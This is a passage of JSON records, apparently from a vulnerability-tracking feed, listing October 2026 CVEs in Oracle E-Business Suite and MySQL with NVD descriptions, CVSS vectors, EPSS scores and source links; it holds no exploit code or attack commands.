vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:22.470Z","updatedAt":"2026-10-21T21:17:35.857Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.4,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101680","asOf":"2026-10-21T21:17:35.857Z"},"epss":{"probability":0.00335,"percentile":0.26684,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101680&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101680","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101680","type":"primary","publishedAt":"2026-10-20T22:18:22.470Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101680&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101680, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101679","cveId":"CVE-2026-101679","aliases":[],"kind":"vulnerability","title":"Vulnerability in the MySQL Server, MySQL Cluster product of Oracle MySQL (component: Client programs).","summary":"Vulnerability in the MySQL Server, MySQL Cluster product of Oracle MySQL (component: Client programs).  Supported versions that are affected are MySQL Server: 8.4.0-8.4.12, 9.7.0-9.7.3, 26.7.0-26.7.1; MySQL Cluster: 8.0.0-8.0.49, 8.4.0-8.4.12, 9.7.0-9.7.3 and  26.7.0-26.7.1. Easily exploitable vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise MySQL Server, MySQL Cluster.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server, MySQL Cluster. CVSS 3.1 Base Score 7.5 (Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).","detail":"Vulnerability in the MySQL Server, MySQL Cluster product of Oracle MySQL (component: Client programs).  Supported versions that are affected are MySQL Server: 8.4.0-8.4.12, 9.7.0-9.7.3, 26.7.0-26.7.1; MySQL Cluster: 8.0.0-8.0.49, 8.4.0-8.4.12, 9.7.0-9.7.3 and  26.7.0-26.7.1. Easily exploitable vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise MySQL Server, MySQL Cluster.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server, MySQL Cluster. CVSS 3.1 Base Score 7.5 (Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:22.350Z","updatedAt":"2026-10-22T19:17:34.620Z","regions":["Global"],"vendor":null,"product":null,"stacks":["MySQL and MariaDB","Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101679","asOf":"2026-10-22T19:17:34.620Z"},"epss":{"probability":0.00474,"percentile":0.407,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101679&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101679","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101679","type":"primary","publishedAt":"2026-10-20T22:18:22.350Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101679&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101679, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101676","cveId":"CVE-2026-101676","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Concurrent Processing product of Oracle E-Business Suite (component: Other Issues).","summary":"Vulnerability in the Oracle Concurrent Processing product of Oracle E-Business Suite (component: Other Issues).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Concurrent Processing executes to compromise Oracle Concurrent Processing.  Successful attacks of this vulnerability can result in takeover of Oracle Concurrent Processing. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Concurrent Processing product of Oracle E-Business Suite (component: Other Issues).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Concurrent Processing executes to compromise Oracle Concurrent Processing.  Successful attacks of this vulnerability can result in takeover of Oracle Concurrent Processing. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:22.007Z","updatedAt":"2026-10-21T21:17:35.400Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101676","asOf":"2026-10-21T21:17:35.400Z"},"epss":{"probability":0.00171,"percentile":0.0648,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101676&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101676","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101676","type":"primary","publishedAt":"2026-10-20T22:18:22.007Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101676&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101676, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101672","cveId":"CVE-2026-101672","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Call Center Technology product of Oracle E-Business Suite (component: Internal Operations).","summary":"Vulnerability in the Oracle Call Center Technology product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows unauthenticated attacker with network access via RMI to compromise Oracle Call Center Technology.  Successful attacks of this vulnerability can result in takeover of Oracle Call Center Technology. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Call Center Technology product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows unauthenticated attacker with network access via RMI to compromise Oracle Call Center Technology.  Successful attacks of this vulnerability can result in takeover of Oracle Call Center Technology. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:21.543Z","updatedAt":"2026-10-21T21:17:34.960Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101672","asOf":"2026-10-21T21:17:34.960Z"},"epss":{"probability":0.00415,"percentile":0.35547,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101672&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101672","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101672","type":"primary","publishedAt":"2026-10-20T22:18:21.543Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101672&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101672, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101665","cveId":"CVE-2026-101665","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Admin UI).","summary":"Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Admin UI).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Mobile Field Service.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Mobile Field Service accessible data as well as  unauthorized access to critical data or complete access to all Oracle Mobile Field Service accessible data. CVSS 3.1 Base Score 8.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).","detail":"Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Admin UI).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Mobile Field Service.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Mobile Field Service accessible data as well as  unauthorized access to critical data or complete access to all Oracle Mobile Field Service accessible data. CVSS 3.1 Base Score 8.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:20.697Z","updatedAt":"2026-10-21T19:16:55.067Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101665","asOf":"2026-10-21T19:16:55.067Z"},"epss":{"probability":0.00389,"percentile":0.32744,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101665&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101665","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101665","type":"primary","publishedAt":"2026-10-20T22:18:20.697Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101665&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101665, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101664","cveId":"CVE-2026-101664","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Internal Operations).","summary":"Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Mobile Field Service.  Successful attacks of this vulnerability can result in takeover of Oracle Mobile Field Service. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Mobile Field Service.  Successful attacks of this vulnerability can result in takeover of Oracle Mobile Field Service. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:20.573Z","updatedAt":"2026-10-24T04:18:13.027Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101664","asOf":"2026-10-24T04:18:13.027Z"},"epss":{"probability":0.00433,"percentile":0.37302,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101664&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101664","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101664","type":"primary","publishedAt":"2026-10-20T22:18:20.573Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101664&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101664, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101662","cveId":"CVE-2026-101662","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Admin UI).","summary":"Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Admin UI).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Mobile Field Service.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Mobile Field Service accessible data as well as  unauthorized read access to a subset of Oracle Mobile Field Service accessible data. CVSS 3.1 Base Score 7.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N).","detail":"Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Admin UI).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Mobile Field Service.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Mobile Field Service accessible data as well as  unauthorized read access to a subset of Oracle Mobile Field Service accessible data. CVSS 3.1 Base Score 7.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:20.453Z","updatedAt":"2026-10-21T19:16:54.817Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101662","asOf":"2026-10-21T19:16:54.817Z"},"epss":{"probability":0.00309,"percentile":0.23499,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101662&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101662","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101662","type":"primary","publishedAt":"2026-10-20T22:18:20.453Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101662&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101662, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101661","cveId":"CVE-2026-101661","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Admin UI).","summary":"Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Admin UI).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Mobile Field Service.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Mobile Field Service accessible data as well as  unauthorized access to critical data or complete access to all Oracle Mobile Field Service accessible data. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).","detail":"Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Admin UI).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Mobile Field Service.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Mobile Field Service accessible data as well as  unauthorized access to critical data or complete access to all Oracle Mobile Field Service accessible data. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:20.340Z","updatedAt":"2026-10-21T19:16:54.673Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.4,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101661","asOf":"2026-10-21T19:16:54.673Z"},"epss":{"probability":0.0036,"percentile":0.29481,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101661&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101661","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101661","type":"primary","publishedAt":"2026-10-20T22:18:20.340Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101661&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101661, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101660","cveId":"CVE-2026-101660","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Admin UI).","summary":"Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Admin UI).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Mobile Field Service.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Mobile Field Service accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).","detail":"Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Admin UI).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Mobile Field Service.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Mobile Field Service accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:20.217Z","updatedAt":"2026-10-21T21:17:34.323Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101660","asOf":"2026-10-21T21:17:34.323Z"},"epss":{"probability":0.00438,"percentile":0.37812,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101660&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101660","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101660","type":"primary","publishedAt":"2026-10-20T22:18:20.217Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101660&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101660, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101658","cveId":"CVE-2026-101658","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Admin UI).","summary":"Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Admin UI).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Mobile Field Service.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Mobile Field Service accessible data as well as  unauthorized access to critical data or complete access to all Oracle Mobile Field Service accessible data. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).","detail":"Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Admin UI).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Mobile Field Service.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Mobile Field Service accessible data as well as  unauthorized access to critical data or complete access to all Oracle Mobile Field Service accessible data. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 